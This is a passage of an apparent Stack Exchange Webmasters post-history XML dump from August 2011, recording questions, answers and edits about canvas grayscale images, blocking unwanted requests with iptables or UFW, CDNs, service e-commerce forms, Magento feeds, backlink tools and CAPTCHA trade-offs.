method&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45851" PostHistoryTypeId="1" PostId="18784" RevisionGUID="3f03e8f9-cbc3-45f4-9bcb-95655255d0f0" CreationDate="2011-08-26T07:55:00.263" UserId="9855" Text="Using javascript to show a grey-scale version of an image on mouse-over. in firefox its possible?" />
  <row Id="45852" PostHistoryTypeId="3" PostId="18784" RevisionGUID="3f03e8f9-cbc3-45f4-9bcb-95655255d0f0" CreationDate="2011-08-26T07:55:00.263" UserId="9855" Text="&lt;html&gt;&lt;css&gt;&lt;javascript&gt;&lt;firefox&gt;" />
  <row Id="45853" PostHistoryTypeId="5" PostId="18783" RevisionGUID="18500115-7b32-42fa-aa50-7a00e8a3d8e5" CreationDate="2011-08-26T08:07:54.610" UserId="7198" Comment="made links clickable" Text="I'm doing website User Testing and want them to report issues by clicking on web site and type text into a comment box. Similar to [diigo.com](http://www.diigo.com/) or [bugherd.com](http://www.bugherd.com/)&#xD;&#xA;&#xD;&#xA;Bugherd is designed for this but it is still at an early stage -- too unstable for our production use as of Aug 2011. (Very impressive, though.)&#xD;&#xA;&#xD;&#xA;Diigo is not designed for bug tracking. It kind of works but I can't really integrate with our bug-fixing workflow.&#xD;&#xA;&#xD;&#xA;Apart from the obvious screenshot-&gt;save image-&gt;upload image to a bug tracker, are there ways to allow our users to easily point-and-click and input bugs?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45854" PostHistoryTypeId="17" PostId="18785" RevisionGUID="4e5a9add-c436-4773-b774-c2103d2b2f77" CreationDate="2011-08-26T08:16:55.807" UserId="-1" Comment="from http://stackoverflow.com/questions/7198899/fight-back-against-malicious-dummy-request" Text="" />
  <row Id="45855" PostHistoryTypeId="2" PostId="18785" RevisionGUID="d8a1b0f3-729d-413c-aafa-25fe1e91ab1d" CreationDate="2011-08-26T00:46:38.470" UserDisplayName="user881480" Text="I have a restful web service that gets hit by large number of requests coming from various ips with dummy logins and random inputs,&lt;br/&gt; I have already denied these requests at the http level(using apache config file) so they would get a 403 response.  &lt;br/&gt;  However, it's still an annoyance seeing them popping up in the apache log file and also they do consume some resource.&#xD;&#xA;&lt;br/&gt;is it possible to drop the packets completely?  do I have to do this using iptable?&#xD;&#xA;&lt;br/&gt;what are other ways to alleviate this issue?" />
  <row Id="45856" PostHistoryTypeId="1" PostId="18785" RevisionGUID="d8a1b0f3-729d-413c-aafa-25fe1e91ab1d" CreationDate="2011-08-26T00:46:38.470" UserDisplayName="user881480" Text="fight back against malicious dummy request" />
  <row Id="45857" PostHistoryTypeId="3" PostId="18785" RevisionGUID="d8a1b0f3-729d-413c-aafa-25fe1e91ab1d" CreationDate="2011-08-26T00:46:38.470" UserDisplayName="user881480" Text="&lt;security&gt;&lt;apache&gt;&lt;web&gt;" />
  <row Id="45858" PostHistoryTypeId="2" PostId="18786" RevisionGUID="fccc33f1-d149-4833-b42e-26fcd65f5a48" CreationDate="2011-08-26T08:24:20.697" UserId="7198" Text="[SnapEngage](http://www.snapengage.com/) lets visitors report bugs directly from the page they're viewing. It's aimed at site owners who want to offer live support, but they have an 'offline' mode which lets users report issues when you're not around. It includes client-side screenshot functionality (requires Java on the client).&#xD;&#xA;&#xD;&#xA;You might also consider rolling your own solution by [creating screenshots on the client-side using JavaScript](http://stackoverflow.com/questions/4912092/using-html5-canvas-javascript-to-take-screenshots), then uploading them to your server when the user posts the report.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45859" PostHistoryTypeId="5" PostId="18785" RevisionGUID="ac2f6557-70d0-4b19-b4c7-ea1cad958b90" CreationDate="2011-08-26T08:31:59.847" UserId="7198" Comment="deleted 17 characters in body; edited tags; edited title" Text="I have a RESTful web service that gets hit by a large number of requests coming from various IPs with dummy logins and random inputs. I have already denied these requests at the HTTP level (using the Apache config file) so they get a 403 response.&#xD;&#xA;&#xD;&#xA;However, it's still an annoyance seeing them pop up in the Apache log file, and they also consume some resources.&#xD;&#xA;&#xD;&#xA;Is it possible to drop the packets completely? Do I have to do this using iptables? What other ways are there to alleviate this issue?" />
  <row Id="45860" PostHistoryTypeId="4" PostId="18785" RevisionGUID="ac2f6557-70d0-4b19-b4c7-ea1cad958b90" CreationDate="2011-08-26T08:31:59.847" UserId="7198" Comment="deleted 17 characters in body; edited tags; edited title" Text="How to block malicious requests before they reach Apache?" />
  <row Id="45861" PostHistoryTypeId="6" PostId="18785" RevisionGUID="ac2f6557-70d0-4b19-b4c7-ea1cad958b90" CreationDate="2011-08-26T08:31:59.847" UserId="7198" Comment="deleted 17 characters in body; edited tags; edited title" Text="&lt;apache&gt;&lt;security&gt;" />
  <row Id="45862" PostHistoryTypeId="5" PostId="18784" RevisionGUID="46dccd6e-7802-48ec-9a6b-3dc5f81d2e43" CreationDate="2011-08-26T08:41:20.543" UserId="7198" Comment="formatting" Text="I'm trying to convert a colour image to grayscale on mouseover using JavaScript in Firefox. So far I have this:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    	&lt;head&gt;&#xD;&#xA;    		&lt;title&gt; New Document &lt;/title&gt;&#xD;&#xA;    		&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    			window.onload = function () {&#xD;&#xA;    				var area = document.getElementById('area');&#xD;&#xA;    				alert('area:'+area);   &#xD;&#xA;    				var context = area.getContext('2d');&#xD;&#xA;    				alert('context:'+context);&#xD;&#xA;    				&#xD;&#xA;    				if (context) {&#xD;&#xA;    					var imgd = context.getImageData(0, 0, 500, 300);&#xD;&#xA;    					var pix = imgd.data;&#xD;&#xA;    					&#xD;&#xA;    					for (var i = 0, n = pix.length; i &lt; n; i += 4) {&#xD;&#xA;    						var grayscale = pix[i  ] * .3 + pix[i+1] * .59 + pix[i+2] * .11;&#xD;&#xA;    						pix[i]   = grayscale;   // red&#xD;&#xA;    						pix[i+1] = grayscale;   // green&#xD;&#xA;    						pix[i+2] = grayscale;   // blue&#xD;&#xA;    					}&#xD;&#xA;    					&#xD;&#xA;    					context.putImageData(imgd, 0, 0);&#xD;&#xA;    				}&#xD;&#xA;    			};&#xD;&#xA;    		&lt;/script&gt;&#xD;&#xA;    	&lt;/head&gt;&#xD;&#xA;    	&#xD;&#xA;    	&lt;body&gt;&#xD;&#xA;    	&lt;canvas id=&quot;area&quot; width=&quot;500&quot; height=&quot;300&quot;&gt;&#xD;&#xA;    		&lt;img id=&quot;canvasSource&quot; src=&quot;http://www.treehugger.com/elephant-national-heritage-animal-india.jpg&quot; alt=&quot;Canvas Source&quot; /&gt;&#xD;&#xA;    	&lt;/canvas&gt;&#xD;&#xA;    	&lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Which produces this error:&#xD;&#xA;&#xD;&#xA;    Line: 9&#xD;&#xA;    Error: Object doesn't support this property or method&#xD;&#xA;&#xD;&#xA;How do I correct it?" />
  <row Id="45863" PostHistoryTypeId="4" PostId="18784" RevisionGUID="46dccd6e-7802-48ec-9a6b-3dc5f81d2e43" CreationDate="2011-08-26T08:41:20.543" UserId="7198" Comment="formatting" Text="How to use JavaScript to show a grayscale version of an image on mouseover in Firefox?" />
  <row Id="45864" PostHistoryTypeId="2" PostId="18787" RevisionGUID="84b584d4-7f90-4e20-80c7-87a00923ad1a" CreationDate="2011-08-26T09:05:42.690" UserId="3797" Text="If you want to deny them you need to see what signature you can identify them by. If you can identify something simple you can deny at router level you would ideally drop them at the external router, or choke router, before they get any further into your infrastructure - best bang for buck.&#xD;&#xA;&#xD;&#xA;However it sounds like they are all very different, so you'll need something a little more intelligent to identify them.&#xD;&#xA;&#xD;&#xA;What type of firewall do you have inboard of choke router? If it can do deep inspection and you can translate your Apache rules into something you can configure in your firewall you are again reducing the load on infrastructure further in towards the centre of your network.&#xD;&#xA;&#xD;&#xA;iptables is unfortunately not very intelligent - it's more along the lines of your choke router, so to be honest, if you wanted to drop packets using iptables I would suggest dropping them at that router.&#xD;&#xA;&#xD;&#xA;Final option - if you can only drop these requests in Apache, you could always configure it not to log these specific actions...I wouldn't recommend it though. It's usually best to have the data there so that if you need to analyse a change you can." />
  <row Id="45865" PostHistoryTypeId="2" PostId="18788" RevisionGUID="76c53d02-8f3d-4093-877e-eba076c4236e" CreationDate="2011-08-26T09:12:42.183" UserId="7198" Text="&gt; Do I have to do this using iptables?&#xD;&#xA;&#xD;&#xA;Using [iptables](http://en.wikipedia.org/wiki/Iptables) is the best way to block traffic before it reaches Apache if you're certain that a particular address is malicious. If you're running Ubuntu, some people find that [uncomplicated firewall](http://en.wikipedia.org/wiki/Uncomplicated_Firewall) (UFW) simplifies firewall configuration.&#xD;&#xA;&#xD;&#xA;To block a known `&lt;IP address&gt;` using iptables:&#xD;&#xA;&#xD;&#xA;`sudo iptables -A INPUT -s &lt;IP address&gt; -j DROP`&#xD;&#xA;&#xD;&#xA;To block it using UFW:&#xD;&#xA;&#xD;&#xA;`sudo ufw deny from &lt;IP address&gt;`&#xD;&#xA;&#xD;&#xA;Linode has a useful [guide to configuring iptables](http://library.linode.com/security/firewalls/iptables), and Ubuntu has an [introduction to UFW](https://wiki.ubuntu.com/UncomplicatedFirewall) that may prove useful.&#xD;&#xA;&#xD;&#xA;&gt; What other ways are there to alleviate this issue?&#xD;&#xA;&#xD;&#xA;You could set up a [hardware firewall](http://serverfault.com/questions/82522/advantage-of-hardware-firewalls-over-software-firewalls) on a separate machine, which would act as a traffic cop, filtering traffic you deem unsafe and sending only permitted requests on to the server running Apache.&#xD;&#xA;" />
  <row Id="45866" PostHistoryTypeId="5" PostId="18776" RevisionGUID="5ddd1f26-e17d-4a39-8969-3951eb41f94d" CreationDate="2011-08-26T09:20:12.270" UserId="7198" Comment="added 40 characters in body; edited tags" Text="From my limited exposure, it seems to me that most shopping cart/eCommerce platforms are specifically for products-based retailers.  On several occasions now, I've been asked about ecommerce solutions for service providers.  That is, it's basically just a single product with payment but no shipping, and highly configurable &quot;product&quot;.&#xD;&#xA;&#xD;&#xA;Any recommendations for a cost-efficient solution (high feature coverage) for such a web platform? Requirements:&#xD;&#xA;&#xD;&#xA; - .NET&#xD;&#xA; - No/suppressed product catalog&#xD;&#xA; - A service customization selection form&#xD;&#xA; - Payment (probably PayPal with accountless credit card processing)&#xD;&#xA; - Guest purchases (no site account required)&#xD;&#xA; - Email confirmation&#xD;&#xA; - Customer service -facing control panel&#xD;&#xA;&#xD;&#xA;It's hard to search for such a product because I get &quot;web service based ecommerce software&quot; and so on clouding up the results.&#xD;&#xA;" />
  <row Id="45867" PostHistoryTypeId="6" PostId="18776" RevisionGUID="5ddd1f26-e17d-4a39-8969-3951eb41f94d" CreationDate="2011-08-26T09:20:12.270" UserId="7198" Comment="added 40 characters in body; edited tags" Text="&lt;looking-for-a-script&gt;&lt;ecommerce&gt;" />
  <row Id="45868" PostHistoryTypeId="5" PostId="18782" RevisionGUID="4ea61ccf-0607-4ac9-947d-4d530d3d64dd" CreationDate="2011-08-26T09:21:33.573" UserId="8354" Comment="improved formatting, removed thanks" Text="I have read about CDNs and what they do. The question I have is three fold. &#xD;&#xA;&#xD;&#xA;1. **When should you start to use a CDN?** My site is small currently and do not see the need for a CDN but is there a general threshold that once crossed I should switch to a CDN? (Like say I have 2,000 visitors a day).&#xD;&#xA;&#xD;&#xA;2. **When you do switch to a CDN what should you put on the CDN?** Just external JavaScript? All images? Some images? What are some general guides for what content goes onto the CDN and what should stay on your server?&#xD;&#xA;&#xD;&#xA;3. **Does use of a CDN affect SEO and how?**" />
  <row Id="45869" PostHistoryTypeId="4" PostId="18782" RevisionGUID="4ea61ccf-0607-4ac9-947d-4d530d3d64dd" CreationDate="2011-08-26T09:21:33.573" UserId="8354" Comment="improved formatting, removed thanks" Text="When to switch to a CDN?" />
  <row Id="45870" PostHistoryTypeId="25" PostId="18783" RevisionGUID="4d34f299-1ca6-4207-9487-852b1e02985a" CreationDate="2011-08-26T09:35:17.760" Comment="http://twitter.com/#!/StackWebmasters/status/107023301137797120" />
  <row Id="45871" PostHistoryTypeId="2" PostId="18789" RevisionGUID="4894ac81-7e43-4521-92e6-0428280af7d4" CreationDate="2011-08-26T09:43:22.877" UserId="7198" Text="It's possible that you're searching for the wrong thing. If you...&#xD;&#xA;&#xD;&#xA;- are only selling one service (with customisable variations);&#xD;&#xA;- require no product catalog;&#xD;&#xA;- need a 'service customisation form' upon checkout;&#xD;&#xA;- don't want users to have to create an account;&#xD;&#xA;- need PayPal/payment processing;&#xD;&#xA;- want a control panel to check who's paid and log their details;&#xD;&#xA;&#xD;&#xA;...then I suggest that you don't want a shopping cart at all, or even an 'eCommerce platform for service providers'. I suggest that you evaluate **online form-building services that support payment upon submission** instead.&#xD;&#xA;&#xD;&#xA;[Wufoo](http://wufoo.com/) sounds like it would suit your needs. It's a hosted online form builder, and their $24.95/month ['Bona Fide' account](http://wufoo.com/signup/) supports payment upon form submission. Here's how you'd set it up to accept payment from users buying a service:&#xD;&#xA;&#xD;&#xA;1. Your website includes a description of the service and a 'buy now' link.&#xD;&#xA;2. The buy now link takes visitors to a custom Wufoo form (hosted on their site or embedded on yours) to collect details. No registration is required.&#xD;&#xA;3. The visitor fills the form and gets redirected to a payment page automatically upon form submission.&#xD;&#xA;4. Regardless of whether or not the visitor completes the payment, you get an optional email notification or SMS to alert you of the form submission.&#xD;&#xA;5. You, or customer service people, can log in to the Wufoo control panel, see a list of all submissions, check that payment has been submitted, and add comments against the user's submission (that they can't see) to track progress of each 'job', generate reports and more, using a simple backend. &#xD;&#xA;&#xD;&#xA;I've set this up for two clients, both of whom run consulting businesses, and they've been very happy with the workflow it gives them.&#xD;&#xA;&#xD;&#xA;[Formstack](http://www.formstack.com/) is another web-based form builder with payment support that you might like to consider." />
  <row Id="45872" PostHistoryTypeId="5" PostId="18789" RevisionGUID="408507be-d12d-41ab-bf8b-20db9651e88c" CreationDate="2011-08-26T09:51:14.537" UserId="7198" Comment="added 281 characters in body" Text="It's possible that you're searching for the wrong thing. If you...&#xD;&#xA;&#xD;&#xA;- are only selling one service (with customisable variations);&#xD;&#xA;- require no product catalog;&#xD;&#xA;- need a 'service customisation form' upon checkout;&#xD;&#xA;- don't want users to have to create an account;&#xD;&#xA;- need PayPal/payment processing;&#xD;&#xA;- want a control panel to check who's paid and log their details;&#xD;&#xA;&#xD;&#xA;...then I suggest that you don't want a shopping cart at all, or even an 'eCommerce platform for service providers'. I suggest that you evaluate **online form-building services that support payment upon submission** instead.&#xD;&#xA;&#xD;&#xA;[Wufoo](http://wufoo.com/) sounds like it would suit your needs. It's a hosted online form builder, and their $29.95/month ['Bona Fide' account](http://wufoo.com/signup/) supports payment upon form submission. Here's how you'd set it up to accept payment from users buying a service:&#xD;&#xA;&#xD;&#xA;1. Your website includes a description of the service and a 'buy now' link.&#xD;&#xA;2. The buy now link takes visitors to a custom Wufoo form (hosted on their site or embedded on yours) to collect details. No registration is required.&#xD;&#xA;3. The visitor fills the form and gets redirected to a payment page automatically upon form submission.&#xD;&#xA;4. Regardless of whether or not the visitor completes the payment, you get an optional email notification or SMS to alert you of the form submission.&#xD;&#xA;5. You, or customer service people, can log in to the Wufoo control panel, see a list of all submissions, check that payment has been submitted, and add comments against the user's submission (that they can't see) to track progress of each 'job', generate reports and more, using a simple backend. &#xD;&#xA;&#xD;&#xA;Wufoo has an [example of a product payment form here](https://examples.wufoo.com/forms/buy-a-tshirt/). Their example uses physical goods, but it works just as well for services. Try filling the form and submitting it to see the payment page, which is also customisable. (You don't have to actually buy anything to try it out.)&#xD;&#xA;&#xD;&#xA;I've set this up for two clients, both of whom run consulting businesses, and they've been very happy with the workflow it gives them.&#xD;&#xA;&#xD;&#xA;[Formstack](http://www.formstack.com/) is another web-based form builder with payment support that you might like to consider." />
  <row Id="45873" PostHistoryTypeId="2" PostId="18790" RevisionGUID="b97459f8-e5ee-459c-b614-2b47a5c5c3a3" CreationDate="2011-08-26T09:53:16.703" UserId="9857" Text="I'm a developer too. What has worked for me is to tweek your codes and customize it for diverse platforms. Eg. When you build a php script for importing shopping cart details, you may customize it for Magento, OScommerce, OpenCart, etc. and put it on their apps stores. It really works." />
  <row Id="45874" PostHistoryTypeId="2" PostId="18791" RevisionGUID="a898d3c1-baea-4224-a1ca-537408745f44" CreationDate="2011-08-26T10:01:25.887" UserId="9857" Text="Magento installation requires app/etc/ folder writable so it can create local.xml file in there.&#xD;&#xA;&#xD;&#xA;For just running Magento - only media/ and var/ folders need to be writable recursively.&#xD;&#xA;&#xD;&#xA;If you wish to use MagentoConnect downloader, which is required when using smaller downloader package, you will need to have all Magento folders writable for web service (apache) " />
  <row Id="45875" PostHistoryTypeId="5" PostId="18732" RevisionGUID="30be37dd-5f3d-4a5e-b7b3-ad9006af61ab" CreationDate="2011-08-26T10:10:04.600" UserId="7198" Comment="deleted 2 characters in body; edited title" Text="I'm developing forum/blog hosting software. I'd like the forum/blog owners&#xD;&#xA;that'll be using my service to be able to layout and style their own pages, e.g. make their own forum/blog &quot;landing page&quot;, or about page, or page listing the hottest forum threads.&#xD;&#xA;&#xD;&#xA;I figure I could either build some graphical HTML design tool, which allows&#xD;&#xA;forum/blog owners to visually drag-and-drop page components to construct pages.&#xD;&#xA;Reminiscent of e.g. drag-and-drop-website-builder `http://www.weebly.com/`, or&#xD;&#xA;`http://snappages.com/` or `http://doodlekit.com/`.&#xD;&#xA;&#xD;&#xA;Or I could provide a [template language][1], so forum/blog owners could write&#xD;&#xA;their own CSS and HTML in that template language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- The template language approach seems terribly much easier than the&#xD;&#xA;  graphical design tool approach, and more&#xD;&#xA;  powerful for those who understands HTML — but terribly hard for those who&#xD;&#xA;  don't?&#xD;&#xA;&#xD;&#xA;- I want to spend as little time as possible with this templating / design tool&#xD;&#xA;  stuff. It's not particularly related to the Unique Selling Point. But I&#xD;&#xA;  think I need to do something.&#xD;&#xA;&#xD;&#xA;*Questions:*&#xD;&#xA;&#xD;&#xA;1. What do you think I should do? Start with a template system and then later&#xD;&#xA;on consider some user friendly graphical design tools? Or let non-techies&#xD;&#xA;click-and-choose between templates/CSS made available by technically skilled&#xD;&#xA;people?&#xD;&#xA;&#xD;&#xA;2. Other benefits/drawbacks of the template or graphical-design-tool approaches?&#xD;&#xA;&#xD;&#xA;3. Do you have any general comments? E.g. in what manners is all this silly? Or&#xD;&#xA;what should I do differently... or not at all?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Template_engine_%28web%29#Example" />
  <row Id="45876" PostHistoryTypeId="4" PostId="18732" RevisionGUID="30be37dd-5f3d-4a5e-b7b3-ad9006af61ab" CreationDate="2011-08-26T10:10:04.600" UserId="7198" Comment="deleted 2 characters in body; edited title" Text="Letting hosted forum users design their own forums?" />
  <row Id="45877" PostHistoryTypeId="2" PostId="18792" RevisionGUID="d70126f2-cdfe-435d-be65-41bfcf71819c" CreationDate="2011-08-26T10:11:45.410" UserId="9857" Text="I have a new store on Magento, is there a solution or script that can help me submit my feeds to Google products search and Shopzilla." />
  <row Id="45878" PostHistoryTypeId="1" PostId="18792" RevisionGUID="d70126f2-cdfe-435d-be65-41bfcf71819c" CreationDate="2011-08-26T10:11:45.410" UserId="9857" Text="Magento export products to google products search and shopzilla" />
  <row Id="45879" PostHistoryTypeId="3" PostId="18792" RevisionGUID="d70126f2-cdfe-435d-be65-41bfcf71819c" CreationDate="2011-08-26T10:11:45.410" UserId="9857" Text="&lt;google&gt;&lt;magento&gt;" />
  <row Id="45880" PostHistoryTypeId="2" PostId="18793" RevisionGUID="301e60a7-2bf8-4571-bfd7-5af390acee56" CreationDate="2011-08-26T10:15:38.983" UserId="9859" Text="I used a free service that made me do exactly what you are looking for and even more. Its an extension on magento see this http://www.magentocommerce.com/magento-connect/rinkarto/extension/6771/feed_manager_version_1_1_2" />
  <row Id="45881" PostHistoryTypeId="2" PostId="18794" RevisionGUID="62280842-f759-4ae7-bba4-1b260ad81d27" CreationDate="2011-08-26T10:35:17.013" UserId="8009" Text="There is a Magento-developed extension for Google Shopping submission.&#xD;&#xA;&#xD;&#xA;[Link to Magento Connect][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/magento-connect/Magento+Core/extension/6887/mage_googleshopping" />
  <row Id="45882" PostHistoryTypeId="2" PostId="18795" RevisionGUID="6ae7a91d-45bb-4acf-9867-b9bc7549ad4d" CreationDate="2011-08-26T11:07:54.643" UserId="8009" Text="I'm doing some competitor analysis for one of our sites and working with a site based in an unfamiliar industry, I'm basically analysing the backlinks to our competitors. What would be useful is a tool that would take a list of sites and then return a list of backlinks to all of them - with anything else like pagerank (and other useful stats) of backlinking pages.&#xD;&#xA;&#xD;&#xA;Does such a tool exist?" />
  <row Id="45883" PostHistoryTypeId="1" PostId="18795" RevisionGUID="6ae7a91d-45bb-4acf-9867-b9bc7549ad4d" CreationDate="2011-08-26T11:07:54.643" UserId="8009" Text="A tool that logs inbound links to a specified list of sites?" />
  <row Id="45884" PostHistoryTypeId="3" PostId="18795" RevisionGUID="6ae7a91d-45bb-4acf-9867-b9bc7549ad4d" CreationDate="2011-08-26T11:07:54.643" UserId="8009" Text="&lt;seo&gt;&lt;competitors&gt;" />
  <row Id="45885" PostHistoryTypeId="2" PostId="18796" RevisionGUID="f8e19e14-1af3-413b-9bb2-492672226701" CreationDate="2011-08-26T11:43:55.657" UserId="7198" Text="[Open Site Explorer](http://www.opensiteexplorer.org/), a 'search engine for links', is useful for discovering backlinks. It lists total backlinks, linking root domains, top pages and much more, and attempts to score page and domain authority based on their own interpretation of PageRank scoring. You can compare up to five sites by clicking the 'compare pages' button on the homepage.&#xD;&#xA;&#xD;&#xA;SEOBook also has a [long list of free competitive research tools](http://tools.seobook.com/competitive-research-tools/) that may prove useful." />
  <row Id="45886" PostHistoryTypeId="14" PostId="18784" RevisionGUID="2a2827bd-3ab7-4d29-aaf0-a8db73b405f4" CreationDate="2011-08-26T11:56:41.887" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45887" PostHistoryTypeId="17" PostId="18784" RevisionGUID="7f0e0bfb-3ce5-4464-b84f-a3a2d3199ee0" CreationDate="2011-08-26T11:56:41.903" UserId="1253" Comment="to http://stackoverflow.com/questions/7204294/how-to-use-javascript-to-show-a-grayscale-version-of-an-image-on-mouseover-in-fir" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45888" PostHistoryTypeId="10" PostId="18784" RevisionGUID="cd39558c-b1f7-4c6d-a732-0a4aaa29516b" CreationDate="2011-08-26T11:56:40.140" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45889" PostHistoryTypeId="2" PostId="18797" RevisionGUID="60fca05d-038c-4b00-84bb-fddbf3b56b53" CreationDate="2011-08-26T12:00:10.510" UserId="1253" Text="[Yahoo Site Explorer][1] will allow you to find of what you are looking for. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com/" />
  <row Id="45890" PostHistoryTypeId="17" PostId="18798" RevisionGUID="c2a81761-f8ff-4c8f-ab3b-5eebc44f0fc2" CreationDate="2011-08-26T12:23:10.917" UserId="-1" Comment="from http://stackoverflow.com/questions/7204508/removing-captcha-is-harmful-for-my-forms" Text="" />
  <row Id="45891" PostHistoryTypeId="17" PostId="18799" RevisionGUID="2a347359-83fa-4c3e-8894-d969e63ec6d1" CreationDate="2011-08-26T12:23:10.917" UserId="-1" Comment="from http://stackoverflow.com/questions/7204508/removing-captcha-is-harmful-for-my-forms" Text="" />
  <row Id="45892" PostHistoryTypeId="17" PostId="18800" RevisionGUID="d627d27e-7886-43b4-8d2c-069473860b5f" CreationDate="2011-08-26T12:23:10.917" UserId="-1" Comment="from http://stackoverflow.com/questions/7204508/removing-captcha-is-harmful-for-my-forms" Text="" />
  <row Id="45893" PostHistoryTypeId="17" PostId="18801" RevisionGUID="df829058-d999-4cba-9043-8e6068906dfa" CreationDate="2011-08-26T12:23:10.917" UserId="-1" Comment="from http://stackoverflow.com/questions/7204508/removing-captcha-is-harmful-for-my-forms" Text="" />
  <row Id="45894" PostHistoryTypeId="2" PostId="18799" RevisionGUID="3bf5411e-6a4a-4b25-b1ba-07e55ac23a1f" CreationDate="2011-08-26T12:19:12.407" UserId="9865" UserDisplayName="Ashley" Text="Yes and no. While people find captcha annyoing, not having one couuld lead to automated bots creating accounts. If your site allows interaction, i.e. commenting, the bots may create accounts and spam links/adverts everywhere.&#xD;&#xA;&#xD;&#xA;So if your site requires interaction, or a user can submit data that is published on the site, I would recommend keeping the captcha." />
  <row Id="45895" PostHistoryTypeId="2" PostId="18800" RevisionGUID="26655032-f7bb-47fb-8f52-ef05595eb4c6" CreationDate="2011-08-26T12:19:31.490" UserId="9448" Text="The point of CAPTCHA is to prevent bots (or non-humans) from submitting your form. That captcha is not likely what's keeping your users away (though if it is too hard then it might be a problem). You can remove your captcha, but make sure to have some other anti-bot measures." />
  <row Id="45896" PostHistoryTypeId="2" PostId="18801" RevisionGUID="3a616761-921c-45c1-a338-23f1d7ecbe55" CreationDate="2011-08-26T12:19:50.230" UserId="9863" UserDisplayName="Bart van Heukelom" Text="There is a always a balance between security and user-friendliness.&#xD;&#xA;&#xD;&#xA;In this case the latter appears to be suffering from the former, but only if the decrease in registrations is a decrease in actual registrations, and not just because you formerly had many automated bot registrations.&#xD;&#xA;&#xD;&#xA;You can try removing the CAPTCHA and see if registrations go up again, but you'll need to monitor how many of them are real." />
  <row Id="45897" PostHistoryTypeId="2" PostId="18798" RevisionGUID="cdac47d6-c8a5-4fd0-b916-2b9369137896" CreationDate="2011-08-26T12:16:55.430" UserId="9882" UserDisplayName="Ramin" Text="I have some services on my site that developed by PHP , it seems having CAPTCHA in my registration form is decreasing registering users , I tend to remove CAPTCHA at least on my registering form , is it harmful for my site?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Ramin." />
  <row Id="45898" PostHistoryTypeId="1" PostId="18798" RevisionGUID="cdac47d6-c8a5-4fd0-b916-2b9369137896" CreationDate="2011-08-26T12:16:55.430" UserId="9882" UserDisplayName="Ramin" Text="Removing CAPTCHA is harmful for my forms?" />
  <row Id="45899" PostHistoryTypeId="3" PostId="18798" RevisionGUID="cdac47d6-c8a5-4fd0-b916-2b9369137896" CreationDate="2011-08-26T12:16:55.430" UserId="9882" UserDisplayName="Ramin" Text="&lt;php&gt;&lt;web-development&gt;&lt;forms&gt;&lt;security&gt;&lt;captcha&gt;" />
  <row Id="45900" PostHistoryTypeId="5" PostId="18799" RevisionGUID="3dcfc1a4-af39-4431-80bc-7642fa616a5a" CreationDate="2011-08-26T12:28:23.670" UserId="9865" Comment="added 1 characters in body" Text="Yes and no. While people find captchas annoying, not having one couuld lead to automated bots creating accounts. If your site allows interaction, i.e. commenting, the bots may create accounts and spam links/adverts everywhere.&#xD;&#xA;&#xD;&#xA;So if your site requires interaction, or a user can submit data that is published on the site, I would recommend keeping the captcha." />
  <row Id="45901" PostHistoryTypeId="25" PostId="18782" RevisionGUID="94e4ee34-3767-4730-80c2-d398f7c28a70" CreationDate="2011-08-26T12:35:17.833" Comment="http://twitter.com/#!/StackWebmasters/status/107068598215909377" />
  <row Id="45902" PostHistoryTypeId="2" PostId="18802" RevisionGUID="0628aed9-97ce-4563-8f1b-ef72f50bc2ac" CreationDate="2011-08-26T12:37:36.300" UserId="9866" Text="Does anybody know a cms(script) or a template similar with 99designs/crowdspring or what platform they use?&#xD;&#xA;&#xD;&#xA;I was searching for something similar as structure but with no success till now, maybe some of you know something similar to crowdsourcing platforms.&#xD;&#xA;Every approach  is useful for me. &#xD;&#xA;Thanks !" />
  <row Id="45903" PostHistoryTypeId="1" PostId="18802" RevisionGUID="0628aed9-97ce-4563-8f1b-ef72f50bc2ac" CreationDate="2011-08-26T12:37:36.300" UserId="9866" Text="99designs crowdspring script(cms)" />
  <row Id="45904" PostHistoryTypeId="3" PostId="18802" RevisionGUID="0628aed9-97ce-4563-8f1b-ef72f50bc2ac" CreationDate="2011-08-26T12:37:36.300" UserId="9866" Text="&lt;cms&gt;&lt;template&gt;" />
  <row Id="45905" PostHistoryTypeId="5" PostId="18802" RevisionGUID="e3b71d1a-2fc2-49d8-8c62-dbd2650ca632" CreationDate="2011-08-26T13:03:26.480" UserId="1253" Comment="modified tags, minor text edits" Text="Does anybody know a cms(script) or a template similar with 99designs/crowdspring or what platform they use?&#xD;&#xA;&#xD;&#xA;I was searching for something similar as structure but with no success till now, maybe some of you know something similar to crowdsourcing platforms.&#xD;&#xA;" />
  <row Id="45906" PostHistoryTypeId="4" PostId="18802" RevisionGUID="e3b71d1a-2fc2-49d8-8c62-dbd2650ca632" CreationDate="2011-08-26T13:03:26.480" UserId="1253" Comment="modified tags, minor text edits" Text="99designs Crowdspring script (CMS)" />
  <row Id="45907" PostHistoryTypeId="6" PostId="18802" RevisionGUID="e3b71d1a-2fc2-49d8-8c62-dbd2650ca632" CreationDate="2011-08-26T13:03:26.480" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;template&gt;" />
